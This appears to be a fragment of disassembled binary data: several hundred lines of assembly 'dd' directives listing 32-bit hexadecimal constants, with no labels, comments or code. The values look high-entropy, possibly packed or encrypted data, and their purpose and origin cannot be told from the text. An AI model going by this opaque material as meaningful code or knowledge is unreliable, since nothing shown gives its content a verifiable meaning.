		dd 1DC8000Fh, 0F581DDF7h, 6E287419h, 553D085Ah,	0EEC26052h
		dd 3B7B5B64h, 8B502920h, 9157D45Ah, 3C625E26h, 0FE0C9FD0h
		dd 8C9CC3h, 0D4F6CCFEh,	20CECC0h, 691F480h, 0E7301C42h
		dd 5BF80E58h, 0A1C3D33Dh, 87D302DDh, 3A361E40h,	816B5916h
		dd 106269C1h, 8404CC9h,	48444E6Ah, 0C20B76Bh, 0A84E5F76h
		dd 41E20FC4h, 0BCB0113h, 89C84714h, 92242F3Ah, 44279D79h
		dd 1618EC34h, 3C8C7DDh,	41EBE970h, 348F5724h, 4E85D06Fh
		dd 9AEA3C1h, 795FD568h,	71E1979Eh, 890EE53Ch, 68E8210Ah
		dd 0BC66102Bh, 3454AB9h, 3AC82527h, 4BE8D2F2h, 4701E280h
		dd 0C1B75366h, 5BD8FA28h, 0C8B42E50h, 0C5EE1820h, 9D7E1C77h
		dd 0E2D3593Ah, 2C0FBA7h, 5240D0B7h, 4A800FCCh, 3CBB842h
		dd 9D91245h, 7220D089h,	0B2520482h, 0ACCAFE86h,	6066038h
		dd 5BE9D2F6h, 5E2A1202h, 535918DCh, 0A1096851h,	51783362h
		dd 0FE0540CBh, 314B209h, 40C3C829h, 70F42D08h, 0E9601C0Fh
		dd 27DAF5B5h, 52D869FBh, 0D97544F1h, 217CE20h, 6843FC02h
		dd 896C6DD1h, 4C18F201h, 448E9BDh, 5273712Fh, 290642BAh
		dd 0CA745F62h, 242AAAB8h, 7E4A3AF0h, 0A45CE788h, 7E215C64h
		dd 0D1C20900h, 66A268E2h, 1C4F46BCh, 0C8D829B4h, 4369012Dh
		dd 0F801374Dh, 0E8074405h, 0C253DFF3h, 0BAE4080Eh, 1A349069h
		dd 51488CC0h, 0ADA2A42Dh, 7C6FE982h, 0F93504D2h, 0F90242BFh
		dd 0E14737C0h, 6BB8EDC3h, 4D25F748h, 35F05661h,	0AD63303Ch
		dd 8F891258h, 8A1E716h,	6602BEB2h, 52500128h, 0B6599468h
		dd 63EFFC1Eh, 0BE6F7792h, 0BB94C77h, 4AD87C28h,	0A71D8531h
		dd 20C64A2h, 0E943CC52h, 16037732h, 0E27594ADh,	0EE838027h
		dd 25220148h, 9CD2E602h, 0F090134Ch, 56505FAAh,	0C760B0B4h
		dd 67F78010h, 5BFD3928h, 0C51DDDBCh, 8CE9891Eh,	478FDF40h
		dd 562B6FB0h, 0C227C4BFh, 0E1A0D1CEh, 2C2FE95Ch, 0A5D22EA3h
		dd 0E6499B45h, 1A928442h, 382CAC01h, 6BD2CF04h,	0E6754764h
		dd 62F56912h, 1F72FAF0h, 26D15CB6h, 41F1072h, 0FD0899B7h
		dd 0A4EC07C4h, 2632A910h, 5B390D28h, 2EB29F07h,	19B84BE4h
		dd 7117B902h, 1CF05CADh, 425472FAh, 2CB953F4h, 400F12BEh
		dd 76638BD0h, 0C266097h, 0D45534Ah, 2D4FD6F6h, 1B8F7DCh
		dd 6CCB33C6h, 3005E0C1h, 5388D695h, 30E114B3h, 1C24A3DDh
		dd 2B27B67h, 5307C25Bh,	0DC25EB88h, 0AD509982h,	0D7676ECCh
		dd 0A20B7C2Fh, 6E9C1B22h, 1F6ABC5Ch, 68060FEAh,	4FEF3E1Fh
		dd 59BB0B94h, 0FEE7B040h, 8F49D4BCh, 29094B51h,	0B015E623h
		dd 42681267h, 107CE315h, 0DF4C068Fh, 0A38AF02h,	589B860h
		dd 0D0016660h, 0CBA4D1A3h, 144D761Ah, 830FD0A1h, 27224868h
		dd 160F71B9h, 0B98594Fh, 7C832EFBh, 5DFF40C8h, 563007B7h
		dd 0D8315E21h, 0BB6245DAh, 180DAF41h, 0BA65E991h, 74050079h
		dd 356EE438h, 7BB00C0Fh, 0B2C10124h, 0E3A2C512h, 12268E48h
		dd 5B5462ACh, 141825Bh,	0FE7252D1h, 0CF4A04D2h,	0F578904Ch
		dd 0E2F3FD88h, 0EA010968h, 0E9E09B9Dh, 0FD7DE27Bh, 84A497D2h
		dd 2C0DADD7h, 0DA600B1Ch, 16163F20h, 105AD301h,	298F0B3Eh
		dd 5628C775h, 3B6C27A8h, 5974103Ah, 9266545Ah, 70315EA9h
		dd 0D7667E56h, 0DB40275Bh, 74374BEBh, 0A09E9679h, 170CD008h
		dd 5633FF01h, 403936E9h, 0E2317638h, 0B4E7D8FDh, 1CDE5318h
		dd 6A860Ch, 874F6330h, 3D0EE9F7h, 0C9E888BEh, 5B3E84A0h
		dd 31590958h, 0B29E2F5Ch, 0C0B93C75h, 4BE56809h, 2D30CB46h
		dd 2EC68F26h, 0DF760BB9h, 7579F301h, 21BEB249h,	0F32CE9B3h
		dd 168BC745h, 69C52D02h, 59E00133h, 0FA837D3Fh,	0C121C20Fh
		dd 85F16E83h, 0F1138F72h, 68B70B79h, 5854C518h,	0C4BE055Ch
		dd 570B6EB4h, 5F135E71h, 0F61FDAF2h, 2CFF01D0h,	41EA801Dh
		dd 2614DB7h, 4F21645Ch,	7E8D1B55h, 0D4A2FD41h, 17DE20Fh
		dd 4B5BDF2Dh, 41E098C9h, 0AB7ECB3Ch, 0A03139E1h, 7505ED22h
		dd 2926491Ch, 8EBFB0Ah,	302A3426h, 18B55102h, 0C08DE580h
		dd 0EDD0CB4Bh, 0B730AA6h, 152FEC86h, 0B16961A2h, 3B3528E8h
		dd 0C160B017h, 0CAC1DC1Fh, 45C67D47h, 1021297h,	2A6304FAh
		dd 0CD9E3039h, 68227B16h, 0D3014E0Ch, 0E15B852h, 73891F27h
		dd 0F75DEA41h, 810480DAh, 3756ACE2h, 4B889522h,	25400781h
		dd 0DA31309Dh, 49BE895Bh, 0C0DC2A8Fh, 0E9D921BFh, 28695CBAh
		dd 41F15F80h, 0EE0B8194h, 84F536B3h, 2684FECBh,	10D00810h
		dd 0C10D7FD2h, 753A03E5h, 155AF8D9h, 1C207B4h, 0ACF2D9DAh
		dd 22054BE1h, 0F39840BBh, 0B1A5143h, 9FE9D8A3h,	0D8522559h
		dd 26C0EFF8h, 0B1514C04h, 58807B0Fh, 0EA785DC5h, 291B59CBh
		dd 1119BE0Fh, 0A7F68181h, 0EE0A871Ch, 46E725DBh, 7DEF7C3h
		dd 0E94B5C15h, 5B3ADC98h, 87E6297Dh, 741968FBh,	5E98C176h
		dd 74CBC020h, 0A53A1FBDh, 7ED4B7Dh, 0E59A5886h,	619DBA05h
		dd 2FF0225Ch, 902B8C2h,	7E92338h, 24B95960h, 6C013534h
		dd 6FB0F1C5h, 48910955h, 68C2F2E9h, 8E967CD0h, 19872D01h
		dd 13E944D3h, 7AA875h, 0FB2252E4h, 3BFA5E1Bh, 7ED84D4Bh
		dd 85BE0456h, 0A83FAE44h, 4E581BBh, 0D4307D98h,	85018275h
		dd 0A41748C9h, 0DF1E1D0Ah, 4C749FB9h, 8AC8298Fh, 1230AB56h
		dd 0C1585CE9h, 295AD06Bh, 277F61C1h, 5B510113h,	1C5F0959h
		dd 5527683Dh, 0AF28A24Fh, 238ECF5Ah, 0F8427C27h, 6FCAF6DCh
		dd 0CE82A81Dh, 0D8B6E921h, 3C6EE8D6h, 6FACEED0h, 0FA098EC4h
		dd 9227BBEBh, 0A167D55Bh, 107E380Ah, 8E4C1893h,	750B5C85h
		dd 0DE1580A6h, 22508603h, 2316EB92h, 0A3C31776h, 0FDFA0C1h
		dd 0BBFAA00Bh, 166C34Bh, 3A0757CAh, 3C691ABFh, 715EB140h
		dd 7169E9Ch, 0D0FCF781h, 99E94AD7h, 0C0533F5Ch,	6D6C2268h
		dd 4F5D7E5Fh, 0CBB18458h, 3DBF0EC2h, 4F2D2162h,	3F61D7F7h
		dd 60F540D5h, 167A2E20h, 0F176082Bh, 8D72825Bh,	748002C8h
		dd 0D00517DAh, 0E9D82923h, 5E496A31h, 21FDFB31h, 0E0A6149Fh
		dd 57F0AD7Bh, 6A64F5F2h, 0DA3B812h, 3327C704h, 100A844Dh
		dd 504C0893h, 2F46C911h, 4241440Ch, 5BFA5959h, 0E1B9688Ch
		dd 3458EA68h, 0CDD5CD13h, 0E02C3BEAh, 11F909B9h, 6900581Ah
		dd 62F24C50h, 671E1390h
		dd 0C146DD64h, 93606E3h, 34D261F1h, 23F8A780h, 455C1B1Dh
		dd 1A0E1CB1h, 0E587381Dh, 0F88F5812h, 3FBCC51Ah, 318C4B5Ah
		dd 0E7465DEBh, 297E4404h, 85ACDAE9h, 58C61276h,	0F66100D1h
		dd 17EC4845h, 4049E910h, 2DD00109h, 25B9367Ah, 0C9EC5045h
		dd 9C00D3B2h, 9F1143E9h, 3C8B2998h, 1B8121A6h, 9207235h
		dd 1A790D68h, 8C6691Ah,	5F0A2072h, 0E1255457h, 24BAD0E9h
		dd 5F51FEC9h, 96233AF2h, 5B2712FBh, 4C209B53h, 760E205Fh
		dd 7DC22D59h, 0FDF6D3CEh, 383D555Eh, 5169E02h, 2000BF58h
		dd 63683862h, 0AF299114h, 7F53C461h, 41482728h,	84C23DB8h
		dd 50092B9Dh, 0A57E621Ah, 34F6E635h, 0CC5A8B39h, 0BCD729BFh
		dd 0D4C91AF2h, 0E7B35460h, 0FAEBC03Eh, 255DDA49h, 68B6115Ch
		dd 0B76C78D2h, 0FB01F9B8h, 3630E914h, 3874054Fh, 0A9A87DD2h
		dd 5F089D73h, 18932C0Bh, 75EDE1F5h, 678D4714h, 210977D6h
		dd 8E9BA824h, 7C78258Fh, 0DE01D846h, 23054BACh,	0EA50FF98h
		dd 0B74FB031h, 0AF24E852h, 293CDFA5h, 5D4AF093h, 60F775BAh
		dd 0D1B231C1h, 500B6812h, 9A8DB9CCh, 46B2BDC5h,	2F000D78h
		dd 0F762415Ch, 0E994E9D3h, 0D82C448Eh, 13D3304Bh, 0B348982Dh
		dd 39681334h, 98D63407h, 0E9155320h, 768EF666h,	803D967Bh
		dd 0B789AA79h, 0EC5A5427h, 0E00CD311h, 6D3312Ah, 475830E3h
		dd 6F5E2624h, 0F9D68F05h, 0B3813968h, 6A15EB7h,	72B050C3h
		dd 0C40E6E2Ch, 6158C588h, 0C8FE59E8h, 27E956F0h, 833424DFh
		dd 435E8EA8h, 41C9A95h,	0CA12F4B4h, 46917ECFh, 0F95A6789h
		dd 0D362204Ah, 27835282h, 0E83AA514h, 84BF53D3h, 92C4565Ah
		dd 0C61D0812h, 5D0BFBD0h, 5D09C831h, 0C604E552h, 2D5E4A7Dh
		dd 0DCC77C82h, 0D1D0CD8Fh, 7D332050h, 0FB8B640h, 76C742DFh
		dd 14A23F49h, 76540C33h, 634C2C64h, 0EB068135h,	12A765AAh
		dd 37B0059Ch, 0C5450924h, 0CD7480CAh, 0C3B62ACh, 0B3F50111h
		dd 140787Ch, 7F40DC31h,	4FC6835Bh, 223B2902h, 485E27ACh
		dd 8141B89Bh, 2D65725Ah, 57903852h, 80707D68h, 4E4C25E9h
		dd 0F830A144h, 87790CF5h, 42468A4Fh, 0D2F810D1h, 4FA2454Fh
		dd 0D5CAA258h, 0CFE90957h, 0A4E5C40Eh, 744CD281h, 1547A96Eh
		dd 0BF80DE9h, 8007E8C1h, 0A95AE6F8h, 205EB001h,	0FC0ADEF7h
		dd 0B7F9AA0Ch, 9C5B2F00h, 98F30102h, 5E0881F4h,	0DEF2F531h
		dd 0DF047A6Ah, 0B584443Ch, 0C782010Bh, 6800D59Eh, 4BFD6AEBh
		dd 8413C06Dh, 24616973h, 9921950Ch, 92CCE9F4h, 0F85E5026h
		dd 75423F30h, 164A4E7Ch, 4232E77Bh, 0D82010A6h,	25FC404Bh
		dd 289C400Dh, 21C2D4Ch,	0E6E92088h, 0B130CB10h,	0F223550Eh
		dd 156C5A26h, 5C279807h, 596157A3h, 1C772712h, 1202C780h
		dd 730A587Ch, 3B081110h, 81010083h, 34ABA4F1h, 8B9A98CBh
		dd 0AFC6A5F0h, 1F16B769h, 778B2D9Bh, 0CB2AD95Ah, 0E9424051h
		dd 2F3774D2h, 0FD1C820h, 292D55A5h, 8241C674h, 0F292C20Ch
		dd 81DC0DAh, 38596494h,	7858E977h, 0F66C215h, 2D48E4B3h
		dd 0D368B499h, 2C27021Ah, 506E046h, 794B0248h, 87FE972h
		dd 4F2F94D1h, 0ACE9068Ch, 9EBDBEB9h, 62E91285h,	0E57A572Ch
		dd 2CFE2D6Ah, 0A249353Fh, 0D641D53Dh, 0C4106ACDh, 1239BD50h
		dd 8945C3F5h, 0F6C005EDh, 4CF4DCAh, 5DEA01FEh, 143C8057h
		dd 9900215h, 97C0A67Ch,	0F704D0EFh, 10294A3Dh, 715908BFh
		dd 1C81D193h, 796800DCh, 101BB70Dh, 6D055AC8h, 0BA296B4Fh
		dd 9E6999F8h, 0C9E942A0h, 2094F0ABh, 0F3FA82C1h, 0F1288810h
		dd 0CFD02914h, 0B418B10Ah, 9CE901FEh, 0FA015AF6h, 0A2B3D58Eh
		dd 0A4616213h, 3FBA5D71h, 40A5E678h, 18CBCCCBh,	0B32E8E9h
		dd 0EDA9B382h, 921A59EEh, 2AEC537Dh, 88D49DB4h,	124275A5h
		dd 9F26ED01h, 0E9C57253h, 6CF6E3E8h, 6B31CCD3h,	0E1AFEE29h
		dd 1A46F68Bh, 0DA5BE916h, 3AFB5642h, 62714263h,	0B5BF16E7h
		dd 0E9175C94h, 818D0543h, 536D15E5h, 42DEC303h,	0D8F92E8Dh
		dd 2D06815Bh, 3692603Fh, 0E97D56E1h, 5EF04062h,	8853D590h
		dd 0BA52D339h, 9B30A4DEh, 0F501FC11h, 0ABC0E285h, 0EAE9F301h
		dd 49752E46h, 24E96DCCh, 98E3B2B6h, 7ACE2481h, 58463F00h
		dd 4A5DBA52h, 11E7EDFh,	0EF7C08CAh, 20EAC111h, 0CCB0D274h
		dd 1AC6A5D2h, 0C0833DCBh, 266657D0h, 1918C885h,	0C52C6B81h
		dd 71D27052h, 75896D4Ah, 9853B2E1h, 805BC028h, 0B7E73F5h
		dd 0EDD091E5h, 0C0328459h, 15661FEh, 2A8459E1h,	0AB60E9D7h
		dd 8008D253h, 4BECA002h, 9A8984C7h, 4834843h, 45127A32h
		dd 647147A0h, 80DF9D38h, 0B725860Ah, 18DD1250h,	747E5516h
		dd 81413D4h, 2F424940h,	4B98C166h, 0C98100D2h, 753D47C7h
		dd 325DF614h, 0F76882FEh, 0D9C40F59h, 62F7D75Eh, 1748628Fh
		dd 351EE3EEh, 39C93F19h, 0B996EBC6h, 5A033CEFh,	81C48EE9h
		dd 0BF16C16Fh, 8C30BA2Ch, 0F247C341h, 1A9B3CC6h, 12D3D4DFh
		dd 0C5CB8A4h, 8F66C331h, 0B164AB86h, 2A3E765h, 5DEF0109h
		dd 3CBF9238h, 4A1B6695h, 57698272h, 3DFB6240h, 0BF371A00h
		dd 0C946D185h, 5EF73F01h, 315324h, 0B9A11A4h, 919A45E9h
		dd 430A834Ah, 68E2D15Eh, 13C7102h, 0B96CA2BBh, 0B7C94055h
		dd 0B216BCA0h, 0A939DE29h, 59BB412Fh, 0FE08760Dh, 44A58E51h
		dd 0F92F6105h, 0E375C980h, 0B07297EDh, 0A3B55111h, 3C73CDFAh
		dd 880DED02h, 0F4F9E9EAh, 376CC9E7h, 23E0520h, 0B2671EBFh
		dd 9EFE291Dh, 0D3DEB08h, 0D1B014F7h, 292720DBh,	0A0666900h
		dd 0F68FE4B9h, 2ED9F2BAh, 3D27415Bh, 77696E81h,	0E459CA01h
		dd 1918FDEAh, 0DC0C54A0h, 3F122025h, 7A28010Eh,	0E2C28A4Bh
		dd 6C980822h, 9B5CBB0h,	273BCEB3h, 0E546D0F7h, 0FEF30DD3h
		dd 9F87B7Fh, 0D37E9C7h,	527A5166h, 4C4A422Fh, 0B24946Fh
		dd 9480310Fh, 3D5AB6BEh, 0A0BF5778h, 8C051F78h,	0F0DC904Dh
		dd 68BB261Bh, 0B2EC135Fh, 7F583412h, 7378F800h,	0ED012DE6h
		dd 8069A44h, 12771768h,	200EFCE9h, 635AA9EEh, 40B21851h
		dd 9CA5554Bh, 0F329E704h, 0CBD2D3E9h, 4D9C8042h, 25B7C08Dh
		dd 0FD24D031h, 0C3742D59h, 15440F2h, 82ECF950h,	909A515Dh
		dd 0F668828Dh, 0E5767956h, 0E9D5805Ah, 874940Ah, 19280234h
		dd 0FAD0BA23h, 2596543Dh, 0D9EA512Eh, 0B35A6591h, 0B368C2B5h
		dd 27CC7108h, 0ACBC2293h, 0C83B3F7h, 0C94AE90Ch, 889C5F5Eh
		dd 0CE10FB2Ch, 0B09A194Ah, 45F07344h, 0F6EE2093h, 0BB28EA67h
		dd 6A307DD1h, 8DAE137Fh, 5C52A4A6h, 2FF49815h, 0FE28145Ch
		dd 80949Ah, 4E0CB7B9h, 4C64017Bh, 29EB59BEh, 0AC134992h
		dd 135E5A07h, 0A370BF68h, 2935405Ah, 560369B0h,	420F2B68h
		dd 0BC674813h, 553BEC25h, 68D4A1DAh, 0EBCAFE0Eh, 0C1A2419Eh
		dd 0E0504171h, 4C8F0A6Fh, 0D9263603h, 0BEA04994h, 5B8E0BDEh
		dd 0F7515F78h, 0E6593A07h, 0AF425D7Bh, 49D82B9Fh, 42A268F2h
		dd 0B40225CAh, 6A92523Ch, 282D1100h, 764CC87Ch,	504F495Eh
		dd 81317D0h, 968751B0h,	0D33470E2h, 8DACBD85h, 0C9BD893Fh
		dd 817A5400h, 4217C0CDh, 28087D1Ah, 22C16E7h, 0C3283D1Bh
		dd 2A6126E2h, 0D178346Bh, 3F093690h, 495AAB4h, 0F604D36Bh
		dd 0F820C5F1h, 83444E13h, 0C003203Fh, 0C7C107E1h, 0C2BD50E3h
		dd 8C4B6424h, 4C0A0083h, 951A8BEFh, 86090F47h, 525DFA52h
		dd 0C8F94094h, 1EB307E5h, 0B51600BDh, 5AF5308Ch, 4CEC5FEh
		dd 28278280h, 0B3353ECh
		dd 0A9102B73h, 0E33019EEh, 8B8F8E14h, 0A9D4CA4h, 0AD6BAF34h
		dd 27764CA5h, 0C0576A80h, 80B4BC0Eh, 6377DBBDh,	88893426h
		dd 5AE0E027h, 5EB02C1h,	0C45BE957h, 0C6654EFEh,	60C4B0C4h
		dd 0CDC4CCA2h, 52CF1EADh, 16EC0551h, 4DC47BA8h,	0FADCB4BEh
		dd 6DDA0C01h, 8106E1C1h, 3A202270h, 0D8A6638Fh,	0E63FBFEEh
		dd 7FBF5700h, 3146182Bh, 4A08FE58h, 0BA7ABE21h,	0F392F93Ch
		dd 58AB5CF2h, 784F69CEh, 8AD84B19h, 33523F69h, 0B3D2AC6h
		dd 462CE813h, 0E31BC06h, 0AF4E597Fh, 62ADB382h,	804956ECh
		dd 5A3F7B05h, 0B00B2D38h, 841CAF5Bh, 0BE0056A6h, 0F8A61BAh
		dd 24F2013Eh, 0B8AD0F87h, 81458F37h, 0A00A512Dh, 0DE292DF5h
		dd 0A8B0BBD3h, 5A6DECACh, 28EACD56h, 65D68957h,	78E90414h
		dd 0DB39EF5Ah, 9680520h, 35717ACDh, 0C282DA46h,	0F7FEFA01h
		dd 810889D7h, 9851D2EEh, 0E76F58A1h, 7668722Dh,	33BC125Fh
		dd 0E1109349h, 0D096E568h, 82141DD1h, 7B1825C5h, 0F62CE285h
		dd 9EC14E30h, 0B7780C36h, 75A2E096h, 0B6B53BB2h, 419290A1h
		dd 0BE0E6FCAh, 7EF50F79h, 0BFD28065h, 7A442658h, 0EA76480Ch
		dd 316FC580h, 0CCED07F5h, 613024DEh, 39151875h,	6D1B407Dh
		dd 6CED201h, 5AE9EB89h,	99B6123Fh, 4BFA52C8h, 0B907A2D8h
		dd 675365E1h, 0AF03FAA2h, 1F2CA169h, 8E3D2728h,	4361C805h
		dd 0F1348976h, 0E90C486Ch, 681F5425h, 9D3720D7h, 0F8F1B793h
		dd 0FBB025BBh, 4BF9F1CCh, 36277E77h, 0F800EBD8h, 0B03EB875h
		dd 5BD5409Ch, 76CA0500h, 0F82904E5h, 407A22Dh, 0C1DBFE2h
		dd 9A4F2710h, 0D212BB4Ch, 4510B81Ch, 4301E849h,	7DA0E381h
		dd 0F3B0DFABh, 0F2A21521h, 0A73BF7F6h, 505C99D0h, 52D7286Ch
		dd 44DFE3CAh, 0A44AE905h, 48D9C16h, 0AB878E01h,	3F5BE5A6h
		dd 8498C1A0h, 2C721948h, 0AE12936Bh, 681CF0A3h,	0CC92AD16h
		dd 356E204h, 0B086A1BFh, 0F8F72992h, 9701BE93h,	0AE7DEE1h
		dd 0FA3FDDE9h, 0D696096Fh, 0A7D127A9h, 3E5A4Bh,	38852B86h
		dd 7E4AE805h, 0D6354900h, 0E9F93036h, 0A4594F53h, 8001CF6Dh
		dd 8305E20Ah, 448A5D38h, 2072DC8h, 73416859h, 0A70040A9h
		dd 17ED0650h, 0B54B930h, 65FF929h, 0E5462505h, 7824773h
		dd 1E4A6364h, 8868D4C0h, 0EE18950Fh, 0F9133761h, 8E015F35h
		dd 3BBF39FBh, 97D162Bh,	787C64D5h, 78F209C9h, 737598F7h
		dd 0B6F53DEBh, 9D00E7A5h, 9E4CF9BEh, 0D41455Eh,	0BA61B303h
		dd 0B5C60B6Bh, 975B43A5h, 65C392B4h, 0BD013351h, 7C3320CFh
		dd 8D3864F5h, 0C0EFB500h, 0E58005EDh, 0B0504207h, 34270428h
		dd 130A93DEh, 1016B0C5h, 0EB2C86DDh, 8B3EF2D0h,	5C6B62CFh
		dd 0F1E9C8D4h, 42F3422Eh, 0FFF0BA66h, 2F5A601Ch, 4002C5A4h
		dd 6020BC49h, 26268A33h, 1F3F6F47h, 1378CB32h, 0B3C8B004h
		dd 5C2F79F8h, 9FFA6C50h, 0E90240B8h, 925B059h, 87506658h
		dd 98B27189h, 16E151D4h, 0B5F80B5Bh, 57D9A729h,	66367B0Bh
		dd 4CAE2DF3h, 384556E9h, 1F24EF0h, 0D7CCE3D6h, 0E8BC3191h
		dd 8A136BBBh, 7536F409h, 2C9C110Fh, 58328945h, 64A0B46Dh
		dd 101AADFEh, 9E40A996h, 0C2161283h, 0D5180F70h, 0CAF6B4C4h
		dd 0FB4B7BCCh, 0EE74549h, 6B75E054h, 67D3F752h,	72DD1250h
		dd 1096173h, 68135D5Bh,	0BADB6220h, 3179A46Eh, 0F4575263h
		dd 0D05D020Ah, 59B0FCD1h, 288CC47h, 399C2998h, 2E6C9D32h
		dd 0D860A6BEh, 971AC67Ah, 80923EAh, 0D6D39843h,	48D4894Bh
		dd 960C9D88h, 0F7885AA7h, 127E4706h, 0F84B3FCAh, 34E32A03h
		dd 0CE0158FBh, 13088280h, 74CBDA17h, 0D8010E64h, 0D7581FE9h
		dd 16E79EBFh, 37E5B2E9h, 0B8C9840Ah, 25400093h,	6C870D47h
		dd 9D65192Dh, 7F5E30BBh, 16C1B847h, 0DA58EFE3h,	0D9C8EAABh
		dd 67DE4F4Fh, 0F82CFF9h, 4051C8AFh, 83A88A0Ch, 3484210h
		dd 0BEE8813h, 8180F09Bh, 66772CC8h, 55099BACh, 511861E9h
		dd 908125Ch, 0D9DE5D9Dh, 0EC284E9h, 0E0A7550Ch,	0D74F4C9Ch
		dd 4C668204h, 1AC95F0Eh, 3127CD50h, 0C8BE60CFh,	63E13F4Ah
		dd 6468410h, 9207D005h,	0AAB255Eh, 0E82F1DD9h, 0BF5A5438h
		dd 9AB54514h, 6D225692h, 528F5082h, 801CC9B2h, 0EBCE35EAh
		dd 0ED30F88h, 0CB04B7C3h, 2DBF3E18h, 897CB9ACh,	915651DEh
		dd 0A750C106h, 3C4A410Dh, 0E096671Bh, 57680008h, 0C289BF6Bh
		dd 150A59Ch, 0AFE913CAh, 5839ED55h, 42C7000Ch, 0F4826F30h
		dd 5A013BFCh, 0D930B4D5h, 0C1B7409Bh, 4605EE1Eh, 0C0F44B7Eh
		dd 1CA76499h, 0ED0BFEFEh, 714AA2F9h, 6E32553Bh,	70C1B70Fh
		dd 0C54A2103h, 7F3FD1E9h, 4A527176h, 2E0A8962h,	0F716DA8Bh
		dd 3281E1F1h, 84099208h, 0E5CA32CFh, 0E84A27B0h, 72598931h
		dd 0CE0E12DCh, 515E4291h, 0B966003Eh, 0BF1D9D52h, 0CA62E938h
		dd 0FA25DD29h, 8AC94E20h, 8F858257h, 204893C6h,	334141F6h
		dd 0F4969679h, 576C315Eh, 30E906F0h, 0E3734446h, 140673B5h
		dd 4DEB877Eh, 0C1909006h, 0A4720CD0h, 9A1D3046h, 44104312h
		dd 3C07E21Fh, 0C9C02B25h, 0E5D90998h, 8A4E1880h, 0CB31CA06h
		dd 0F5C1594Eh, 0FE04571Ch, 66E8FD07h, 515E1FDEh, 0ED80B440h
		dd 0B202E985h, 84681312h, 0E02FC966h, 0FDB31235h, 540CB702h
		dd 2611D43Fh, 658002A7h, 0DA50FAA0h, 6834B52Dh,	7F14EA42h
		dd 36C09509h, 510F3E05h, 8BE92D48h, 598F19D8h, 581A3F37h
		dd 0F0851CA6h, 1E2BC69h, 0C34387BFh, 0BB7C290Dh, 0F8243D6Ch
		dd 181B140h, 0F5A614C7h, 0F4FA2194h, 0EB2393Bh,	2E8FD48h
		dd 96694DC5h, 0C787C001h, 264311Bh, 0EDD9F918h,	25E6DCEh
		dd 0F45F3C6h, 0B090E01Ah, 0BC7327DCh, 0DF203402h, 65806DDCh
		dd 0C12C760Bh, 0F9074CEBh, 7EA8A04Fh, 0A728093Fh, 97A7221h
		dd 0FAF7FEA4h, 9000E4E2h, 46EE5D50h, 0B3043D98h, 29557E12h
		dd 0DC7DE902h, 560B47ECh, 64177068h, 0C78E8134h, 31C225B1h
		dd 0DD5BD51Dh, 0C9CE3052h, 0CDB3A5C4h, 610149C2h, 68EE251h
		dd 2CEC058h, 0D980E36Bh, 0DE20A9F3h, 0EE1D5B7Fh, 0F3BDF6C7h
		dd 17453B5Ch, 0D420637Fh, 0B845319Dh, 0EA680F9Bh, 5DEFE252h
		dd 406BE84Eh, 0B6C90366h, 165BD458h, 2A24B22Dh,	4F12E9B2h
		dd 9F1ADFF7h, 612DDC1Bh, 5759CD29h, 0EE7766C6h,	0CEB5FB7Ah
		dd 0BD19302h, 4E2B7CE9h, 0F3DAD333h, 7001B2E9h,	4AB4C310h
		dd 0C8885007h, 4058C222h, 0BF5AD789h, 61A49089h, 0BEA3257Eh
		dd 0E7890289h, 4225A0E4h, 0F7505A4Fh, 6BD4F4F6h, 7A155420h
		dd 87903CBBh, 5551209Ch, 1BEB607Ah, 1D486F17h, 3559090Eh
		dd 74AA200Ah, 2014A491h, 0B50ED701h, 631E4129h,	70DDE9F8h
		dd 7DBB06C6h, 0F2130418h, 70B71BA8h, 86D7F60Eh,	8D68CF7h
		dd 0FFEF1C80h, 5207C0C0h, 0E97EB151h, 49C96E54h, 0F10181E2h
		dd 162D5FDBh, 9968CE29h, 540393D4h, 1415039h, 5A1080B4h
		dd 6B06042h, 8DC1977Dh,	5D440667h, 0EF8FDCE9h, 2C42BE56h
		dd 0C8D6512Eh, 2FC2811Ch, 4076BD59h, 6260E1B9h,	5636C066h
		dd 30701A80h, 7AC117DAh, 2D6DE768h, 18C5EAD8h, 0C08AC2Eh
		dd 187D3B8Eh, 10F22924h, 0E9120820h, 0F2F20803h, 9B589D27h
		dd 0B15E115Ah, 6C9CA492h, 426B089h, 0A0685B5Eh,	1036E31Ch
		dd 0A94C52CEh, 0E30A4613h, 0C1DB1025h, 689D0F5Bh, 76711069h
		dd 0C148A0BCh, 0D81F9BB2h, 0F5FE216Ch, 0B4146E95h, 80EC5D30h
		dd 144EBD55h, 0E90C0815h, 5E003A3Dh, 4A63EF81h,	0C1504F8Ch
		dd 81F209ECh, 1D24CA18h
		dd 0C8DB7722h, 0E0D1ABAh, 0D789576Dh, 0E98A0F53h, 0F122B06Bh
		dd 7ECC6FB2h, 13DCCDD0h, 2752CC5Ah, 26CD7A00h, 0BD2910C8h
		dd 0B15B6304h, 390C068Dh, 0BC4FE9F6h, 9AE3A212h, 290F4648h
		dd 472B652h, 0B016E944h, 0F825318Ch, 60A87956h,	4BF51B3Fh
		dd 0E9041283h, 0CD75539Fh, 13CA6953h, 3BC8C830h, 540CF5DDh
		dd 0BCF3949Fh, 6402E424h, 4C1516FDh, 0B2124A18h, 1A4E08CDh
		dd 44D4592Dh, 805C20C0h, 0EA904CECh, 66A43125h,	0F17981C6h
		dd 0A73ED54Eh, 0C4B46A0Ch, 0F846205Ch, 751ED9F5h, 0DD8240C3h
		dd 7B508D2Ah, 0C282A8DDh, 0A184001Ah, 0ED69D13Bh, 2F14B6E0h
		dd 75833D7Ch, 0EFEC8CE9h, 4004F25Fh, 169444B0h,	5E4543B8h
		dd 81A52E2Ch, 3AFC2772h, 68F0A857h, 0CE65179Fh,	16F8592h
		dd 4694C0Ch, 0E05E717Ah, 1B12E91Dh, 0AD08CB09h,	0A8CD81A3h
		dd 7035903Fh, 98ECAE1Eh, 44C901ECh, 0AD6F156h, 0A880B0E9h
		dd 23E10BE2h, 4FC25DDAh, 0F5ABB882h, 5E5A2DDEh,	9D76D244h
		dd 514CA15Ah, 0C824C9E9h, 7F68125Eh, 0CE843673h, 88310701h
		dd 2259E939h, 0EE4E416Eh, 6E388A33h, 9213EA84h,	50A256BDh
		dd 25D9DF40h, 8B75C93Fh, 69CCE9E8h, 1C60E0C1h, 2E675032h
		dd 9A7D1EDBh, 0C5BFD08h, 8718530Bh, 7B772300h, 8C5C45BBh
		dd 17F7B866h, 20582BE9h, 482AAEBCh, 99F6976h, 59FA4864h
		dd 0ABFA55E9h, 376F0C8Dh, 3573F19Dh, 92904A8Eh,	0B149BB09h
		dd 0C5517465h, 7500DEF7h, 3C5F9F0Ch, 831D4E8Eh,	8FC6AFEBh
		dd 6970E93Dh, 0E30D0142h, 0CFD7D328h, 0FDE0A45Fh, 0D41BA218h
